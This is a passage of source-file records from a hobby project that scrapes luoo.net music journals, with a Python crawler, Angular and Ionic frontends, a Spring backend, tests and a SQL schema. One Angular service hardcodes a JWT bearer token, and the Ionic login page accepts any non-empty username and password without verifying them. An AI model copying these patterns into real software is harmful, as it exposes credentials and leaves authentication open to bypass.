nextPageUrl.select('.cover-wrapper')\n if item:\n url = item[0].get(self.href)\n journalUrlList.append(url)\n\n # ๅผ€ๅง‹ๅค„็†ๅฝ“ๅ‰้กต้ขๆ‰€ๆœ‰ๆœŸๅˆŠ\n for journalUrl in journalUrlList:\n yield scrapy.Request(journalUrl, self.parse_page)\n\n if (self.isDebug):\n return\n\n ## ๅค„็†ๅฎŒๅฝ“ๅ‰้กตๅผ€ๅง‹ๆ‰พไธ‹ไธ€้กตๅœฐๅ€๏ผŒ้€’ๅฝ’\n\n # ๅผ€ๅง‹ๅค„็†ๅˆ†้กต\n nextPageUrl = soup.select('.next')[0].get(self.href)\n\n # ๆญคๆ—ถไธบๆœ€ๅŽไธ€้กต๏ผŒๆ”ถๅทฅ\n if 'javascript' in nextPageUrl:\n self.log('All pages crawled')\n return\n # ไธๆ˜ฏๆœ€ๅŽไธ€้กต๏ผŒๅˆ™็ปง็ปญ็ˆฌๅ–\n else:\n yield scrapy.Request(nextPageUrl, self.parse)\n\n # ๅค„็†้กต้ข่ฏฆๆƒ…๏ผŒ่งฃๆžใ€ๅญ˜ๅ‚จ\n def parse_page(self, response):\n soup = BeautifulSoup(response.body, self.htmlParser)\n luooItem = LuooItem()\n trackList = []\n cover = soup.select('.vol-cover-wrapper')\n tracksSoup = soup.select('.vol-tracklist')[0]\n\n if cover:\n coverImg = self.handleImgUrl(cover[0].img.get('src'))\n luooItem['volImg'] = coverImg\n\n luooItem['volDesc'] = soup.select('.vol-desc')[0].text\n luooItem['volKeywords'] = soup.find_all('meta', {'name': 'keywords'})[0]['content']\n luooItem['volTitle'] = soup.select('.vol-title')[0].text\n luooItem['volNumber'] = soup.select('.vol-number')[0].text\n luooItem['volDate'] = soup.select('.vol-date')[0].text\n\n for track in tracksSoup.select('.track-item'):\n item = self.handleItem(track)\n trackList.append(item)\n\n luooItem['volTracks'] = trackList\n self.log(luooItem)\n\n def handleItem(self, trackInfo):\n trackItem = TrackItem()\n self.log(trackInfo)\n trackItem['trackName'] = trackInfo.select('.trackname')[0].text\n trackItem['trackAlbum'] = trackInfo.select('.album')[0].text\n trackItem['trackArtist'] = trackInfo.select('.artist')[0].text\n trackItem['trackImg'] = trackInfo.select('.cover')[0]\n trackItem['trackMP3Url'] = 'xxxxx.mp3'\n return trackItem\n\n def handleImgUrl(self, imgSrc):\n prefix = '.jpg'\n coverImg = imgSrc.split(prefix)[0] + prefix\n return coverImg\n" }, { "alpha_fraction": 0.638352632522583, "alphanum_fraction": 0.638352632522583, "avg_line_length": 22.545454025268555, "blob_id": "4d29a0c05be05084036818cbc77e5f1a5b99ae99", "content_id": "87b7d9fe39f33cb03ca672c5343b02e49d91a51c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 777, "license_type": "permissive", "max_line_length": 110, "num_lines": 33, "path": "/ionic-app/src/pages/login/login.ts", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "import { Component } from '@angular/core';\nimport { NavController, NavParams } from 'ionic-angular';\nimport { AlertController } from 'ionic-angular';\nimport { HomePage } from \"../home/home\";\n\n@Component({\n selector: 'page-login',\n templateUrl: 'login.html',\n})\nexport class LoginPage {\n userName: string;\n password: string;\n\n constructor(public navCtrl: NavController, public navParams: NavParams, public alertCtrl: AlertController) {\n }\n\n ionViewDidLoad() {\n }\n\n login() {\n if (this.userName && this.password) {\n this.navCtrl.push(HomePage);\n } else {\n let alert = this.alertCtrl.create({\n title: 'Notice !',\n subTitle: 'Username and password should not be empty !',\n buttons: ['OK']\n });\n alert.present();\n }\n }\n\n}\n" }, { "alpha_fraction": 0.35686931014060974, "alphanum_fraction": 0.38750597834587097, "avg_line_length": 51.89240646362305, "blob_id": "08ac85123d627cdd232ff1ee456c1540f7999589", "content_id": "506dc43562c02817d868ccc5d536f1bee2b53df4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 8400, "license_type": "permissive", "max_line_length": 99, "num_lines": 158, "path": "/luoo/src/test/java/com/tneciv/poseidon/controller/JournalControllerTest.java", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "package com.tneciv.poseidon.controller;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\nimport org.springframework.test.web.servlet.MockMvc;\nimport org.springframework.test.web.servlet.request.MockMvcRequestBuilders;\nimport org.springframework.test.web.servlet.result.MockMvcResultMatchers;\n\n/**\n * Created by Tneciv on 2017/5/7.\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest\n@AutoConfigureMockMvc\npublic class JournalControllerTest {\n\n /**\n * @see com.tneciv.poseidon.config.DruidConfig\n * should be exclued when run this test case\n */\n @Autowired\n private MockMvc mockMvc;\n\n @Test\n public void queryByIdTest() throws Exception {\n String resultJson = \"{\\n\" +\n \" \\\"succ\\\": true,\\n\" +\n \" \\\"msg\\\": \\\"ๆ“ไฝœๆˆๅŠŸ\\\",\\n\" +\n \" \\\"content\\\": {\\n\" +\n \" \\\"tracks\\\": [\\n\" +\n \" {\\n\" +\n \" \\\"trackId\\\": 2461,\\n\" +\n \" \\\"artist\\\": \\\"Greenfield & Cook\\\",\\n\" +\n \" \\\"coverImg\\\": \\\"http://img-cdn.luoo.net/pics/albums/2189/cover.jpg\\\",\\n\" +\n \" \\\"album\\\": \\\"Greenfield & Cook\\\",\\n\" +\n \" \\\"mp3Url\\\": \\\"http://mp3-cdn.luoo.net/low/luoo/radio222/01.mp3\\\",\\n\" +\n \" \\\"trackName\\\": \\\"Itโ€™s Up To You, Part 1\\\"\\n\" +\n \" },\\n\" +\n \" {\\n\" +\n \" \\\"trackId\\\": 2462,\\n\" +\n \" \\\"artist\\\": \\\"Marian Henderson\\\",\\n\" +\n \" \\\"coverImg\\\": \\\"http://img-cdn.luoo.net/pics/albums/2190/cover.jpg\\\",\\n\" +\n \" \\\"album\\\": \\\"The Restless Years\\\",\\n\" +\n \" \\\"mp3Url\\\": \\\"http://mp3-cdn.luoo.net/low/luoo/radio222/02.mp3\\\",\\n\" +\n \" \\\"trackName\\\": \\\"The Streets of Forbes\\\"\\n\" +\n \" },\\n\" +\n \" {\\n\" +\n \" \\\"trackId\\\": 2463,\\n\" +\n \" \\\"artist\\\": \\\"Tamarack\\\",\\n\" +\n \" \\\"coverImg\\\": \\\"http://img-cdn.luoo.net/pics/albums/2191/cover.jpg\\\",\\n\" +\n \" \\\"album\\\": \\\"On The Grand\\\",\\n\" +\n \" \\\"mp3Url\\\": \\\"http://mp3-cdn.luoo.net/low/luoo/radio222/03.mp3\\\",\\n\" +\n \" \\\"trackName\\\": \\\"Pawpine\\\"\\n\" +\n \" },\\n\" +\n \" {\\n\" +\n \" \\\"trackId\\\": 2464,\\n\" +\n \" \\\"artist\\\": \\\"Lionel Long\\\",\\n\" +\n \" \\\"coverImg\\\": \\\"http://img-cdn.luoo.net/pics/albums/2192/cover.jpg\\\",\\n\" +\n \" \\\"album\\\": \\\"Songs Of The Sea\\\",\\n\" +\n \" \\\"mp3Url\\\": \\\"http://mp3-cdn.luoo.net/low/luoo/radio222/04.mp3\\\",\\n\" +\n \" \\\"trackName\\\": \\\"Golden Vanity\\\"\\n\" +\n \" },\\n\" +\n \" {\\n\" +\n \" \\\"trackId\\\": 2465,\\n\" +\n \" \\\"artist\\\": \\\"Emma Junaro\\\",\\n\" +\n \" \\\"coverImg\\\": \\\"http://img-cdn.luoo.net/pics/albums/2193/cover.jpg\\\",\\n\" +\n \" \\\"album\\\": \\\"Resolana\\\",\\n\" +\n \" \\\"mp3Url\\\": \\\"http://mp3-cdn.luoo.net/low/luoo/radio222/05.mp3\\\",\\n\" +\n \" \\\"trackName\\\": \\\"Romance Para Mi Niรฑo\\\"\\n\" +\n \" },\\n\" +\n \" {\\n\" +\n \" \\\"trackId\\\": 2466,\\n\" +\n \" \\\"artist\\\": \\\"Michel Polnareff\\\",\\n\" +\n \" \\\"coverImg\\\": \\\"http://img-cdn.luoo.net/pics/albums/2194/cover.jpg\\\",\\n\" +\n \" \\\"album\\\": \\\"Polnareffโ€™s\\\",\\n\" +\n \" \\\"mp3Url\\\": \\\"http://mp3-cdn.luoo.net/low/luoo/radio222/06.mp3\\\",\\n\" +\n \" \\\"trackName\\\": \\\"Qui a Tuรฉ Grandโ€™ Maman?\\\"\\n\" +\n \" },\\n\" +\n \" {\\n\" +\n \" \\\"trackId\\\": 2467,\\n\" +\n \" \\\"artist\\\": \\\"Stavros\\\",\\n\" +\n \" \\\"coverImg\\\": \\\"http://img-cdn.luoo.net/pics/albums/2195/cover.jpg\\\",\\n\" +\n \" \\\"album\\\": \\\"VA swirling echoes\\\",\\n\" +\n \" \\\"mp3Url\\\": \\\"http://mp3-cdn.luoo.net/low/luoo/radio222/07.mp3\\\",\\n\" +\n \" \\\"trackName\\\": \\\"Pou Pas(Where are you going)\\\"\\n\" +\n \" },\\n\" +\n \" {\\n\" +\n \" \\\"trackId\\\": 2468,\\n\" +\n \" \\\"artist\\\": \\\"David Soul\\\",\\n\" +\n \" \\\"coverImg\\\": \\\"http://img-cdn.luoo.net/pics/albums/2196/cover.jpg\\\",\\n\" +\n \" \\\"album\\\": \\\"Los Mejores Dias De Mi Vida\\\",\\n\" +\n \" \\\"mp3Url\\\": \\\"http://mp3-cdn.luoo.net/low/luoo/radio222/08.mp3\\\",\\n\" +\n \" \\\"trackName\\\": \\\"The Dutchman\\\"\\n\" +\n \" },\\n\" +\n \" {\\n\" +\n \" \\\"trackId\\\": 2469,\\n\" +\n \" \\\"artist\\\": \\\"Clay Toyani/David Snell/Jeff C\\\",\\n\" +\n \" \\\"coverImg\\\": \\\"http://img-cdn.luoo.net/pics/albums/2197/cover.jpg\\\",\\n\" +\n \" \\\"album\\\": \\\"Henry the Human Fly\\\",\\n\" +\n \" \\\"mp3Url\\\": \\\"http://mp3-cdn.luoo.net/low/luoo/radio222/09.mp3\\\",\\n\" +\n \" \\\"trackName\\\": \\\"Nobodyโ€™s Wedding\\\"\\n\" +\n \" },\\n\" +\n \" {\\n\" +\n \" \\\"trackId\\\": 2470,\\n\" +\n \" \\\"artist\\\": \\\"Richard Thompson\\\",\\n\" +\n \" \\\"coverImg\\\": \\\"http://img-cdn.luoo.net/pics/albums/2198/cover.jpg\\\",\\n\" +\n \" \\\"album\\\": \\\"Double Back\\\",\\n\" +\n \" \\\"mp3Url\\\": \\\"http://mp3-cdn.luoo.net/low/luoo/radio222/10.mp3\\\",\\n\" +\n \" \\\"trackName\\\": \\\"The Ferryman\\\"\\n\" +\n \" },\\n\" +\n \" {\\n\" +\n \" \\\"trackId\\\": 2471,\\n\" +\n \" \\\"artist\\\": \\\"Tom Paxton & Anne Hills\\\",\\n\" +\n \" \\\"coverImg\\\": \\\"http://img-cdn.luoo.net/pics/albums/2199/cover.jpg\\\",\\n\" +\n \" \\\"album\\\": \\\"Chicago Live\\\",\\n\" +\n \" \\\"mp3Url\\\": \\\"http://mp3-cdn.luoo.net/low/luoo/radio222/11.mp3\\\",\\n\" +\n \" \\\"trackName\\\": \\\"Whose Garden Was This\\\"\\n\" +\n \" },\\n\" +\n \" {\\n\" +\n \" \\\"trackId\\\": 2472,\\n\" +\n \" \\\"artist\\\": \\\"Mike Harding\\\",\\n\" +\n \" \\\"coverImg\\\": \\\"http://img-cdn.luoo.net/pics/albums/2200/cover.jpg\\\",\\n\" +\n \" \\\"album\\\": \\\"Bombersโ€™ Moon\\\",\\n\" +\n \" \\\"mp3Url\\\": \\\"http://mp3-cdn.luoo.net/low/luoo/radio222/12.mp3\\\",\\n\" +\n \" \\\"trackName\\\": \\\"The Band Played Waltzing Matilda\\\"\\n\" +\n \" },\\n\" +\n \" {\\n\" +\n \" \\\"trackId\\\": 2473,\\n\" +\n \" \\\"artist\\\": \\\"Eric Andersen\\\",\\n\" +\n \" \\\"coverImg\\\": \\\"http://img-cdn.luoo.net/pics/albums/2201/cover.jpg\\\",\\n\" +\n \" \\\"album\\\": \\\"Today Is the Highway\\\",\\n\" +\n \" \\\"mp3Url\\\": \\\"http://mp3-cdn.luoo.net/low/luoo/radio222/13.mp3\\\",\\n\" +\n \" \\\"trackName\\\": \\\"Looking Glass\\\"\\n\" +\n \" }\\n\" +\n \" ],\\n\" +\n \" \\\"id\\\": 223,\\n\" +\n \" \\\"title\\\": \\\"ไธๆญ‡็š„ๅนดไปฃ\\\",\\n\" +\n \" \\\"journalId\\\": 222,\\n\" +\n \" \\\"keyWords\\\": \\\"ไธๆญ‡็š„ๅนดไปฃ,ๆฐ‘่ฐฃ,Folk\\\",\\n\" +\n \" \\\"volCoverImg\\\": \\\"http://img-cdn.luoo.net/pics/vol/525519d9271e5.jpg\\\",\\n\" +\n \" \\\"relativeVols\\\": \\\"263,665,431,830\\\",\\n\" +\n \" \\\"volDate\\\": \\\"2010-10-30\\\",\\n\" +\n \" \\\"volDesc\\\": \\\"\\\"\\n\" +\n \" },\\n\" +\n \" \\\"options\\\": {}\\n\" +\n \"}\";\n\n mockMvc.perform(MockMvcRequestBuilders.get(\"/journal/222\"))\n .andExpect(MockMvcResultMatchers.status().isOk())\n .andExpect(MockMvcResultMatchers.content().json(resultJson));\n\n }\n\n}" }, { "alpha_fraction": 0.6147757172584534, "alphanum_fraction": 0.6187335252761841, "avg_line_length": 20.05555534362793, "blob_id": "0fc077337a267823b91b305694d32ce1c0474428", "content_id": "51eff7ce1ef05c7c9c785eaf7d2cad13c8327145", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 758, "license_type": "permissive", "max_line_length": 53, "num_lines": 36, "path": "/frontend/src/app/journal/journal.component.ts", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "import {Component, OnInit} from \"@angular/core\";\nimport \"rxjs/Rx\";\nimport {JournalModel} from \"../model/journal.model\";\nimport {HttpService} from \"../common/http.service\";\n\n@Component({\n selector: 'app-journal',\n templateUrl: './journal.component.html',\n styleUrls: ['./journal.component.css']\n})\n\nexport class JournalComponent implements OnInit {\n\n private journal: JournalModel = new JournalModel();\n\n constructor(public httpService: HttpService) {\n }\n\n ngOnInit() {\n this.testGet();\n }\n\n testGet() {\n this.httpService.get(\"/luoo/journal/666\")\n .subscribe(\n response => {\n this.journal = response;\n console.log(this.journal);\n },\n error => {\n console.log(error)\n }\n );\n }\n\n}\n" }, { "alpha_fraction": 0.6722306609153748, "alphanum_fraction": 0.6828528046607971, "avg_line_length": 28.954545974731445, "blob_id": "17654d055a47d6b2a9deddbe470dccd4b768a44a", "content_id": "983ee33c4a7debff24ff8f1ad5c428f6ff84e128", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 659, "license_type": "permissive", "max_line_length": 75, "num_lines": 22, "path": "/frontend/src/app/journal/journal.service.ts", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "import {Headers, Http, RequestOptions} from '@angular/http';\nimport {Injectable} from '@angular/core';\nimport {Observable} from \"rxjs/Observable\";\nimport {JournalModel} from \"../model/journal.model\";\n\n@Injectable()\nexport class JournalService {\n\n constructor(public http: Http) {\n var body = new URLSearchParams();\n body.append(\"body\", \"content\");\n }\n\n getTest(): Observable<JournalModel> {\n var headers = new Headers();\n headers.append('Authorization', 'Bearer eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoxNDkyOTUyMzE4fQ.r0n60AsW52WEVGkdc7LopENc5s7kuRJseITlw8nJLo4MmiE1RBhjzIIzuZhgZaaCcbjDpyyveafjTYEud2bWqA');\n var options = new RequestOptions({headers: headers});\n return this.http.get('http://localhost:8088/luoo/journal/333', options)\n .map(res => res.json().content);\n }\n\n}\n" }, { "alpha_fraction": 0.7035573124885559, "alphanum_fraction": 0.7035573124885559, "avg_line_length": 20.08333396911621, "blob_id": "b74d4289e2e43932452248ee2836dcf2f16ba8c1", "content_id": "3953c959c92ef0624e0ed949a40b9d4b275ed6e3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 253, "license_type": "permissive", "max_line_length": 41, "num_lines": 12, "path": "/ionic-app/src/model/journal.model.ts", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "import {TrackModel} from './track.model';\nexport class JournalModel {\n title: string;\n keyWords: string;\n id: number;\n journalId: string;\n volCoverImg: string;\n relativeVols: string;\n volDate: string;\n volDesc: string;\n tracks: TrackModel[];\n}\n" }, { "alpha_fraction": 0.6195651888847351, "alphanum_fraction": 0.6630434989929199, "avg_line_length": 15.727272987365723, "blob_id": "26d7d546aa5f3fe50c339c337bb9c4491c318fad", "content_id": "39b04d958f6b51598e6c2396684e1552ac37180c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 184, "license_type": "permissive", "max_line_length": 34, "num_lines": 11, "path": "/frontend/src/app/model/track.model.ts", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "/**\n * Created by Tneciv on 2017/4/13.\n */\nexport class TrackModel {\n trackId: number;\n artist: string;\n coverImg: string;\n album: string;\n mp3Url: string;\n trackName: string;\n}\n" }, { "alpha_fraction": 0.7520215511322021, "alphanum_fraction": 0.7870619893074036, "avg_line_length": 24.586206436157227, "blob_id": "a323db72fdbfe671d2df1407ce881a51e05efb69", "content_id": "36b603c78d87580c31bd151ddadb23a6074bb809", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 742, "license_type": "permissive", "max_line_length": 70, "num_lines": 29, "path": "/luoo/src/main/java/com/tneciv/poseidon/dto/JournalDto.java", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "package com.tneciv.poseidon.dto;\n\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport com.tneciv.poseidon.entity.Journal;\nimport com.tneciv.poseidon.entity.Track;\nimport lombok.*;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * Created by Tneciv on 2017/3/30.\n */\n@Data\n@ToString\n@NoArgsConstructor\n@AllArgsConstructor\n@EqualsAndHashCode(callSuper = false)\n@JsonIgnoreProperties({\"createTime\" })\npublic class JournalDto extends Journal implements Serializable {\n\n private static final long serialVersionUID = 4893090938458935373L;\n public static final String DTO_NAME = \"JournalDto\";\n\n @JsonProperty(\"tracks\")\n private List<Track> tracksList;\n\n}\n" }, { "alpha_fraction": 0.6691176295280457, "alphanum_fraction": 0.6715686321258545, "avg_line_length": 21.66666603088379, "blob_id": "3285adb889c4688786dd78500e70738eff1c2ad7", "content_id": "384b3dca34989ad3bc16bd8ed8721d4e9c112f47", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 408, "license_type": "permissive", "max_line_length": 51, "num_lines": 18, "path": "/crawler/crawler/luooItems.py", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Define here the models for your scraped items\n#\n# See documentation in:\n# http://doc.scrapy.org/en/latest/topics/items.html\n\nimport scrapy\n\n\nclass LuooItem(scrapy.Item):\n volTitle = scrapy.Field()\n volImg = scrapy.Field()\n volDesc = scrapy.Field()\n volKeywords = scrapy.Field()\n volTracks = scrapy.Field()\n volNumber = scrapy.Field()\n volDate = scrapy.Field()\n" }, { "alpha_fraction": 0.6328437924385071, "alphanum_fraction": 0.6328437924385071, "avg_line_length": 21.02941131591797, "blob_id": "c0d8268f98dd53962284364a4bff3db093eb9691", "content_id": "5bd4788facc0ad28dc8da0b2fefe8bc5e00371a3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 749, "license_type": "permissive", "max_line_length": 79, "num_lines": 34, "path": "/ionic-app/src/pages/home/home.ts", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "import { Component, OnInit } from '@angular/core';\nimport { NavController } from 'ionic-angular';\nimport { HttpService } from '../../common/http.service';\nimport { DetailPage } from '../detail/detail'\n\n@Component({\n selector: 'page-home',\n templateUrl: 'home.html'\n})\nexport class HomePage implements OnInit {\n\n public recentJournalList: any;\n\n constructor(public navCtrl: NavController, public httpService: HttpService) {\n\n }\n\n ngOnInit(): void {\n this.httpService.get(\"recent\")\n .subscribe(\n response => {\n this.recentJournalList = response;\n },\n error => {\n console.log(\"Error happens :\" + error);\n }\n );\n }\n\n itemSelected(item) {\n this.navCtrl.push(DetailPage, { \"item\": item });\n }\n\n}\n" }, { "alpha_fraction": 0.6141564846038818, "alphanum_fraction": 0.6524747014045715, "avg_line_length": 32.55356979370117, "blob_id": "2a2d0d23c050960b754990ac2191c613e01790ab", "content_id": "bbc7bf5a337ab64c552884ad8f4e979ff32f9e89", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 1997, "license_type": "permissive", "max_line_length": 61, "num_lines": 56, "path": "/luoo/src/main/resources/luuo.sql", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "/*\n Navicat Premium Data Transfer\n\n Source Server : LocalMySQL\n Source Server Type : MySQL\n Source Server Version : 50717\n Source Host : localhost\n Source Database : luoo\n\n Target Server Type : MySQL\n Target Server Version : 50717\n File Encoding : utf-8\n\n Date: 03/26/2017 01:38:21 AM\n*/\n\nSET NAMES utf8mb4;\nSET FOREIGN_KEY_CHECKS = 0;\n\n-- ----------------------------\n-- Table structure for `journal`\n-- ----------------------------\nDROP TABLE IF EXISTS `journal`;\nCREATE TABLE `journal` (\n `id` int(20) NOT NULL AUTO_INCREMENT,\n `title` varchar(100) NOT NULL COMMENT 'ๆœŸๅˆŠๆ ‡้ข˜',\n `vol_desc` text COMMENT 'ๆœŸๅˆŠๆ่ฟฐ',\n `journal_id` int(11) NOT NULL COMMENT 'ๆœŸๅˆŠID',\n `key_words` tinytext COMMENT 'ๆœŸๅˆŠๅ…ณ้”ฎๅญ—',\n `vol_cover_img` varchar(255) DEFAULT NULL COMMENT 'ๆœŸๅˆŠๅฐ้ข',\n `tracks` varchar(100) NOT NULL COMMENT 'ๆ›ฒ็›ฎIDๅˆ—่กจ',\n `relative_vols` varchar(255) DEFAULT NULL COMMENT '็›ธไผผๆœŸๅˆŠๅˆ—่กจ',\n `vol_date` varchar(10) DEFAULT NULL COMMENT 'ๆœŸๅˆŠๅˆ›ๅปบๆ—ฅๆœŸ',\n `create_time` timestamp NULL DEFAULT CURRENT_TIMESTAMP,\n PRIMARY KEY (`id`),\n KEY `journal_id_index` (`journal_id`) USING BTREE\n) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;\n\n-- ----------------------------\n-- Table structure for `track`\n-- ----------------------------\nDROP TABLE IF EXISTS `track`;\nCREATE TABLE `track` (\n `id` int(11) NOT NULL AUTO_INCREMENT,\n `track_id` int(11) NOT NULL COMMENT 'ๆ›ฒ็›ฎID',\n `name` varchar(100) DEFAULT NULL COMMENT 'ๆ›ฒ็›ฎๅ็งฐ',\n `artist` varchar(100) DEFAULT NULL COMMENT '่‰บๆœฏๅฎถ',\n `cover_img` varchar(255) DEFAULT NULL COMMENT 'ไธ“่พ‘ๅฐ้ขurl',\n `album` varchar(255) DEFAULT NULL COMMENT 'ๆ›ฒ็›ฎๆ‰€ๅฑžไธ“่พ‘ๅ',\n `mp3_url` varchar(255) DEFAULT NULL COMMENT 'ๆ›ฒ็›ฎไธ‹่ฝฝurl',\n `create_time` timestamp NULL DEFAULT CURRENT_TIMESTAMP,\n PRIMARY KEY (`id`),\n KEY `track_id_index` (`track_id`) USING BTREE\n) ENGINE=InnoDB AUTO_INCREMENT=34 DEFAULT CHARSET=utf8;\n\nSET FOREIGN_KEY_CHECKS = 1;\n" }, { "alpha_fraction": 0.7476459741592407, "alphanum_fraction": 0.7608286142349243, "avg_line_length": 24.285715103149414, "blob_id": "2e28e905a1412ac289f183cf424f3defeb511a75", "content_id": "c6ede218429c60bd9bdf955bea9b69b7184a3149", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 531, "license_type": "permissive", "max_line_length": 89, "num_lines": 21, "path": "/luoo/src/main/java/com/tneciv/poseidon/service/JournalService.java", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "package com.tneciv.poseidon.service;\n\nimport com.tneciv.poseidon.common.PageVo;\nimport com.tneciv.poseidon.dto.JournalDto;\n\nimport java.util.List;\n\n/**\n * Created by Tneciv on 2017/3/27.\n */\npublic interface JournalService {\n JournalDto queryByJournalId(Integer id);\n\n List<JournalDto> queryByTitle(String title);\n\n List<JournalDto> queryByKeyWord(String keyword, int pageNum, int pageSize);\n\n PageVo<JournalDto> queryByKeyword(String keyword, Integer pageNum, Integer pageSize);\n\n List<JournalDto> queryRecent();\n}\n" }, { "alpha_fraction": 0.674257218837738, "alphanum_fraction": 0.674257218837738, "avg_line_length": 40.17410659790039, "blob_id": "33e12c7bd3e5929a53bd71810218e78980fb3eba", "content_id": "d62f3f73c0f421a316ef9fbd631394019d55bf87", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 9222, "license_type": "permissive", "max_line_length": 108, "num_lines": 224, "path": "/luoo/src/main/java/com/tneciv/poseidon/dao/JournalMapper.java", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "package com.tneciv.poseidon.dao;\n\nimport com.tneciv.poseidon.entity.Journal;\nimport com.tneciv.poseidon.entity.JournalExample;\nimport java.util.Date;\nimport java.util.List;\nimport org.apache.ibatis.annotations.Arg;\nimport org.apache.ibatis.annotations.ConstructorArgs;\nimport org.apache.ibatis.annotations.Delete;\nimport org.apache.ibatis.annotations.DeleteProvider;\nimport org.apache.ibatis.annotations.Insert;\nimport org.apache.ibatis.annotations.InsertProvider;\nimport org.apache.ibatis.annotations.Param;\nimport org.apache.ibatis.annotations.Select;\nimport org.apache.ibatis.annotations.SelectProvider;\nimport org.apache.ibatis.annotations.Update;\nimport org.apache.ibatis.annotations.UpdateProvider;\nimport org.apache.ibatis.type.JdbcType;\n\npublic interface JournalMapper {\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table journal\n *\n * @mbg.generated\n */\n @SelectProvider(type=JournalSqlProvider.class, method=\"countByExample\")\n long countByExample(JournalExample example);\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table journal\n *\n * @mbg.generated\n */\n @DeleteProvider(type=JournalSqlProvider.class, method=\"deleteByExample\")\n int deleteByExample(JournalExample example);\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table journal\n *\n * @mbg.generated\n */\n @Delete({\n \"delete from journal\",\n \"where id = #{id,jdbcType=INTEGER}\"\n })\n int deleteByPrimaryKey(Integer id);\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table journal\n *\n * @mbg.generated\n */\n @Insert({\n \"insert into journal (id, title, \",\n \"journal_id, key_words, \",\n \"vol_cover_img, tracks, \",\n \"relative_vols, vol_date, \",\n \"create_time, vol_desc)\",\n \"values (#{id,jdbcType=INTEGER}, #{title,jdbcType=VARCHAR}, \",\n \"#{journalId,jdbcType=INTEGER}, #{keyWords,jdbcType=VARCHAR}, \",\n \"#{volCoverImg,jdbcType=VARCHAR}, #{tracks,jdbcType=VARCHAR}, \",\n \"#{relativeVols,jdbcType=VARCHAR}, #{volDate,jdbcType=VARCHAR}, \",\n \"#{createTime,jdbcType=TIMESTAMP}, #{volDesc,jdbcType=LONGVARCHAR})\"\n })\n int insert(Journal record);\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table journal\n *\n * @mbg.generated\n */\n @InsertProvider(type=JournalSqlProvider.class, method=\"insertSelective\")\n int insertSelective(Journal record);\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table journal\n *\n * @mbg.generated\n */\n @SelectProvider(type=JournalSqlProvider.class, method=\"selectByExampleWithBLOBs\")\n @ConstructorArgs({\n @Arg(column=\"id\", javaType=Integer.class, jdbcType=JdbcType.INTEGER, id=true),\n @Arg(column=\"title\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"journal_id\", javaType=Integer.class, jdbcType=JdbcType.INTEGER),\n @Arg(column=\"key_words\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"vol_cover_img\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"tracks\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"relative_vols\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"vol_date\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"create_time\", javaType=Date.class, jdbcType=JdbcType.TIMESTAMP),\n @Arg(column=\"vol_desc\", javaType=String.class, jdbcType=JdbcType.LONGVARCHAR)\n })\n List<Journal> selectByExampleWithBLOBs(JournalExample example);\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table journal\n *\n * @mbg.generated\n */\n @SelectProvider(type=JournalSqlProvider.class, method=\"selectByExample\")\n @ConstructorArgs({\n @Arg(column=\"id\", javaType=Integer.class, jdbcType=JdbcType.INTEGER, id=true),\n @Arg(column=\"title\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"journal_id\", 